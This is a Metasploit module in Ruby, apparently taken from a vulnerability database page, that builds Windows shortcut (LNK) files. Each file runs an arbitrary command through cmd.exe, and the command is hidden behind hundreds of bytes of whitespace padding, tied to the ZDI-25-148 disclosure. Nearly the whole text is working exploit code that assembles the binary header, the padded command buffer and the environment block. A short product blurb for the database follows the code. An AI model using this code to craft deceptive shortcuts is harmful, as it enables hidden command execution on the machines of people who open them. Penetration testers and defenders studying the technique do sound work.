##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'faker'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Shortcut (LNK) Padding',
'Description' => %q{
This module generates Windows LNK (shortcut) file that can execute
arbitrary commands. The LNK file uses environment variables and execute
its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace
character padding bytes and concatenates the actual payload.
},
'License' => MSF_LICENSE,
'Author' => [ 'Nafiez' ],
'References' => [
['ZDI', '25-148'],
['URL', 'https://zeifan.my/Windows-LNK/'],
['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'],
['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html']
],
'Platform' => 'win',
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2025-07-19'
)
)
register_options([
OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]),
OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]),
OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ])
])
end
def run
datastore['FILENAME']
command = datastore['COMMAND']
description = datastore['DESCRIPTION']
icon_path = datastore['ICON_PATH']
description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?
icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'icon')}%SystemRoot%\\System32\\shell32.dll" if icon_path.blank?
buffer_size = datastore['BUFFER_SIZE']
lnk_data = generate_lnk_file(command, description, icon_path, buffer_size)
filename = file_create(lnk_data)
print_good("successfully created #{filename}")
print_status("command line buffer size: #{buffer_size} bytes")
print_status("target command: #{command}")
end
private
def generate_lnk_file(command, description, icon_path, buffer_size)
data = ''.force_encoding('ASCII-8BIT')
data << create_shell_link_header
data << create_string_data(description)
cmd_buffer = create_command_buffer(command, buffer_size)
data << create_string_data(cmd_buffer)
data << create_string_data(icon_path)
data << create_environment_block
data
end
def create_shell_link_header
header = ''.force_encoding('ASCII-8BIT')
header << [0x0000004C].pack('V')
header << [0x00021401].pack('V')
header << [0x0000].pack('v')
header << [0x0000].pack('v')
header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8')
link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000
header << [link_flags].pack('V')
header << [0x00000000].pack('V')
header << [0x00000000, 0x00000000].pack('VV')
header << [0x00000000, 0x00000000].pack('VV')
header << [0x00000000, 0x00000000].pack('VV')
header << [0].pack('V')
header << [0].pack('V')
header << [0x00000007].pack('V')
header << [0].pack('v')
header << [0].pack('v')
header << [0].pack('V')
header << [0].pack('V')
header
end
def create_string_data(str)
data = ''.force_encoding('ASCII-8BIT')
data << [str.length].pack('v')
unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT')
data << unicode_str
data
end
def create_command_buffer(command, buffer_size)
cmd_command = "/c #{command}"
cmd_len = cmd_command.length
fill_bytes = buffer_size - cmd_len
buffer = ' ' * fill_bytes + cmd_command
buffer << "\x00"
buffer
end
def create_environment_block
data = ''.force_encoding('ASCII-8BIT')
block_size = 0x00000314
data << [block_size].pack('V')
signature = 0xA0000001
data << [signature].pack('V')
env_path = '%windir%\\system32\\cmd.exe'
ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT')
data << ansi_buffer
unicode_buffer = env_path.encode('UTF-16LE')
unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT')
data << unicode_buffer
data
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation